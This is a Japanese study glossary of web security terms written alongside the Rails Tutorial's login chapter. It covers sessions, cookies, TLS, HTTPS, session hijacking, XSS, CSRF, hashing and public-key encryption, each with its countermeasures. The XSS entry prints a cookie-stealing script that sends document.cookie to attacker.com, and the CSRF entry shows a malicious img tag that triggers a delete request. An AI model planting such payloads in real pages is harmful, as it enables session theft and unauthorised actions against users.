Webセキュリティ基礎用語集

Railsチュートリアル[第8章のログイン、ログアウト](http://railstutorial.jp/chapters/log_in_log_out?version=4.2#cha-log_in_log_out)で難しい用語がいくつか出てきたので整理しました。用語の説明は主にWikipediaからの引用です。

※ もっとよいまとめを見つけました。
・[今さら聞けないセッションとCookie、ログイン・ログアウト(Rails編)](http://qiita.com/SpicyCoffee/items/de9de9a5427adf81817a)
・[エンジニアなら知っておきたい、絵で見てわかるセキュア通信の基本](http://qiita.com/t_nakayama0714/items/83ac0b12ced9e7083927)

以上を読んで難しいと感じたときに、用語の理解をこちらで確認して頂けたら。

# 用語集
## [HTTP(Hypertext Transfer Protocol)](https://ja.wikipedia.org/wiki/Hypertext_Transfer_Protocol)
WebブラウザとWebサーバの間で、HTMLなどのコンテンツの送受信に用いられる通信プロトコル。
[ステートレス・プロトコル](https://ja.wikipedia.org/wiki/%E3%82%B9%E3%83%86%E3%83%BC%E3%83%88%E3%83%AC%E3%82%B9%E3%83%BB%E3%83%97%E3%83%AD%E3%83%88%E3%82%B3%E3%83%AB)。**それぞれのセッションの情報や状態を保持することをサーバーに要求しない**。言い換えると、ブラウザのあるページから別のページに移動したときに、ユーザーのIDを保持しておく手段がHTTPプロトコル内には存在しない。
例)
・ステートレス: HTTP、IP 
・ステートフル: TCP、FTP

## [セッション](https://ja.wikipedia.org/wiki/%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3)
ユーザーのログイン状態をHTTPでは記憶できないので、セッションでその情報を保持しましょうということ。
ユーザーログインの必要なWebアプリケーションでは、セッションと呼ばれる半永続的な接続をコンピュータ間 (ユーザーのパソコンのWebブラウザとRailsサーバーなど) に別途設定する。
Railsでセッションを実装する方法として最も一般的なのは、cookiesを使う方法。

## [クッキー(cookie)](https://ja.wikipedia.org/wiki/HTTP_cookie)
HTTPにおける、サーバとブラウザ間で状態を管理するプロトコル。またはそこで用いられる、ブラウザに保存された情報、ブラウザに保存される小さなテキストデータ。
ステートレス・プロトコルであるHTTP上でステートフルなサービスを実現する。
ユーザ識別やセッション管理を実現する目的などに利用される。
Netscapeによって開発された。

例：
1. サーバがブラウザにその状態を区別する識別子をHTTPヘッダに含める形で渡す。
2. ブラウザは次にそのサーバと通信する際に、与えられた識別子をHTTPヘッダに含めて送信する。
3. サーバはその識別子を元にコンテンツの内容をユーザに合わせてカスタマイズし、ブラウザに渡す。必要があれば新たな識別子もHTTPヘッダに含める。

## [TLS(Transport Layer Security)/SSL(Secure Socket Layer)](https://ja.wikipedia.org/wiki/Transport_Layer_Security)
ローカルサーバから送信されネットワークに流れるデータは途中で捕捉できるため、これを修正するために[SSL](https://ja.wikipedia.org/wiki/Transport_Layer_Security)を使う。
ローカルのサーバからネットワークに流れる前に、**大事な情報を暗号化する技術**。
[パケットスニッファ](https://ja.wikipedia.org/wiki/LAN%E3%82%A2%E3%83%8A%E3%83%A9%E3%82%A4%E3%82%B6)によるセッションIDの奪取([セッションハイジャック](https://ja.wikipedia.org/wiki/%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%8F%E3%82%A4%E3%82%B8%E3%83%A3%E3%83%83%E3%82%AF))を防ぐために、特に[HTTP](https://ja.wikipedia.org/wiki/Hypertext_Transfer_Protocol)を暗号化で保護する。
[トランスポート層](https://ja.wikipedia.org/wiki/%E3%83%88%E3%83%A9%E3%83%B3%E3%82%B9%E3%83%9D%E3%83%BC%E3%83%88%E5%B1%A4)プロトコル（通常は[TCP](https://ja.wikipedia.org/wiki/Transmission_Control_Protocol)）と[アプリケーション層](https://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%97%E3%83%AA%E3%82%B1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E5%B1%A4)（HTTPなど）のあいだにおいて使われる。

## [HTTPS](https://ja.wikipedia.org/wiki/HTTPS)
**[SSL/TLS](https://ja.wikipedia.org/wiki/Transport_Layer_Security)** によって提供されるセキュアな接続の上でHTTP通信を行う。
Web上での個人情報の送信や電子決済などで用いられる。
サーバの認証・通信内容の暗号化・改竄検出などを行うことによって、なりすましや盗聴などの攻撃を防ぐ。
Nestscapeによって開発された。

## [セッションハイジャック](https://ja.wikipedia.org/wiki/%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%8F%E3%82%A4%E3%82%B8%E3%83%A3%E3%83%83%E3%82%AF)
クラッキング、サイバーテロの一つ。
攻撃者が「セッションID」を得ることができ、その「セッションID」を用いてあたかも本人であるかのように通信を偽装することができればセッションハイジャックが成立する。そのため、 **セッションIDの奪取** と**偽装通信の実現**がセッションハイジャックの基本となる。

【Railsチュートリアルで挙げられる有名な手法】
1. 管理の甘いネットワークを通過するネットワークパケットから、[パケットスニッファ](https://ja.wikipedia.org/wiki/LAN%E3%82%A2%E3%83%8A%E3%83%A9%E3%82%A4%E3%82%B6)という特殊なソフトウェアで直接cookie(セッションID)を取り出す。
2. データベースから記憶トークンを取り出す。
3. [クロスサイトスクリプティング(XSS)](https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AD%E3%82%B9%E3%82%B5%E3%82%A4%E3%83%88%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0)を使う。
4. ユーザーがログインしているパソコンやスマホを直接操作してアクセスを奪い取る。(w)

【対策】
1. SSLをサイト全体に適用して、ネットワークデータを暗号化で保護する。
2. 記憶トークンをそのままデータベースに保存するのではなく、記憶トークンのハッシュ値を保存するようにする。
Railsチュートリアルでは生のパスワードをデータベースに保存する代わりに、パスワードのダイジェストを保存している。
3. Railsによって自動的に対策が行われる。具体的には、ビューのテンプレートで入力した内容をすべて自動的にエスケープする。
4. 具体的には、ユーザーが(別端末などで)ログアウトしたときにトークンを必ず変更するようにし、セキュリティ上重要になる可能性のある情報を表示するときはデジタル署名を行うようにする。

## [クロスサイトスクリプティング(XSS)](https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AD%E3%82%B9%E3%82%B5%E3%82%A4%E3%83%88%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0)

攻撃者は自ら作成したWebサイトや電子メールのURLやリンクの中に、主にJavaScriptで書かれた悪意のあるスクリプトを挿入し、被害者が日常的に使っているWebサイトから、セッションIDやパスワード、クレジットカード情報を盗んだり、望まない商品を購入させたり、ヒドいことをする。

例:

- 攻撃者のWebサイトで以下のスクリプトを挿入しておく。

```html
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + ''">');</script>
```

- 攻撃者のWebサーバーで、以下のようなアクセスログから被害者のセッションIDが取得できてしまう。

```
GET
http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
```

入力のフィルタ（サニタイズ、悪意ある文字列 `script` タグ等の除去）や、出力のエスケープが主な対策となる。

参考
・[スクリプト注入: #1 ふたつの攻撃 - セキュアプログラミング講座 Webアプリケーション編 - IPA ISEC](https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/601.html)
・[クロスサイトスクリプティング（XSS）とは？わかりやすく解説 - 攻撃遮断くん](https://www.shadan-kun.com/waf/xss/)

## [クロスサイトリクエストフォージェリー(CSRF)](https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AD%E3%82%B9%E3%82%B5%E3%82%A4%E3%83%88%E3%83%AA%E3%82%AF%E3%82%A8%E3%82%B9%E3%83%88%E3%83%95%E3%82%A9%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%AA)
攻撃者はブラウザなどのユーザを騙し、意図しないリクエスト(たとえばHTTPリクエスト)をWebサーバに送信させる。Webアプリケーションがユーザからのリクエストを十分検証しないで受け取るよう設計されている場合、このリクエストを正規のものとして扱ってしまい、被害が発生する。
CSRF攻撃はURL、画像の読み込み、XMLHttpRequestなどを利用して実行される。

例:

- ボブは掲示板をブラウザで眺めていて、とあるハッカーによる書き込みを目にします。その書き込みに含まれるHTML `img` 要素には悪質な仕掛けが施されています。その要素が実際に参照しているのは画像ファイルではなく、ボブのプロジェクト管理アプリケーションを標的にしたコマンド（ `<img src="http://www.webapp.com/project/1/destroy">` ）です。
- ボブはここ数分間ログアウトしていないので、`www.webapp.com` に対するボブのセッションはまだ失効していません。
- ハッカーの書き込みがブラウザで表示されると、ブラウザは img タグを見つけます。そしてブラウザは `www.webapp.com` からその怪しい画像（`/project/1/destroy`）を読み出そうとします。前述のとおり、このときに有効なセッションIDを含むcookieも一緒に送信されます。
- `www.webapp.com` のWebアプリケーションは、リクエストに対応するセッションハッシュに含まれるユーザー情報が有効であると認定し、その指示にしたがってID 1のプロジェクトを削除します。そしてブラウザは何らかの問題が生じたことを示す結果ページを表示します。画像は表示されません。
ボブは攻撃に気付いていません。しかし数日後にプロジェクトNo.1が削除されていることに気づきます。

Railsでは、自分のアプリケーション（上の例ではボブのサイト `www.webapp.com`）において、セッションを作成したタイミングでサーバー側で発行している `authenticity_token` が、リクエストに含まれている&妥当かどうかを検証することによって対策している。

参考
・[【Rails API】CSRF 対策をあきらめないでちゃんとやる - どりみちのブログ](https://midorimici.com/posts/rails-api-csrf)
・[RailsにおけるCSRF対策をできるだけ分かりやすく説明する - Zenn](https://zenn.dev/hogeisfuga/articles/e6abb1723c8271)

## [ハッシュ関数](https://ja.wikipedia.org/wiki/%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E9%96%A2%E6%95%B0)
**要約関数**ともいう。あるデータを代表する数値を得るための関数。
ハッシュ関数から得られた数値のことを、要約値、ハッシュ値、またはハッシュという。

用途
・検索の高速化
・データ比較処理の高速化
・改竄の検出

暗号化とハッシュ化の違い
1. 暗号化: 復元できる。秘匿が目的。
2. ハッシュ化: 不可逆。データの置換が目的。

参考
・[暗号化とハッシュ化に関する基本的な事柄まとめ](http://qiita.com/chroju/items/3ddae568206b8bc3d8f9)

## [公開鍵暗号](https://ja.wikipedia.org/wiki/%E5%85%AC%E9%96%8B%E9%8D%B5%E6%9A%97%E5%8F%B7)
「暗号化」の部分を公開し、「復号」の部分を秘密にする発想。1976年に世界最初の論文が発表された。
公開鍵暗号方式には、3つのアルゴリズムがある。
1. 鍵生成アルゴリズム
2. 暗号化アルゴリズム
3. 復号アルゴリズム

モデル
1. 全てのユーザーは鍵生成アルゴリズムを実行し、公開鍵および秘密鍵を持つ。各ユーザーは秘密鍵を秘密裏に保管し、公開鍵を皆に公開する。（よって**ユーザーの秘密鍵を知っているのはそのユーザー自身だけ**であるが、それに対し**ユーザーの公開鍵を知っているのは全てのユーザー**である。）
    ・公開鍵: 暗号文を作成するのに使う
    ・秘密鍵: その暗号文を復元するのに使う
2. 送信者が暗号文を送るには、**メッセージ** と **受信者の公開鍵**を入力として、暗号化アルゴリズムを実行する。
3. 受信者がもとのメッセージを復元するには、**受信者の秘密鍵** と **暗号文**を入力として、復号アルゴリズムを実行する。

**公開鍵は公開情報であり、それに対応する秘密鍵は受信者本人しか知らない**。（よって公開されている公開鍵を使えば**誰でも暗号文を作成できる**が、それに対しその暗号文を**複合できるのは受信者本人のみ**である。）

典型的な例
・[RSA暗号方式](https://ja.wikipedia.org/wiki/RSA%E6%9A%97%E5%8F%B7): 桁数が大きい合成数の素因数分解問題が困難であることを安全性の根拠とした公開鍵暗号の一つ。暗号とデジタル署名を実現できる方式として最初に公開された。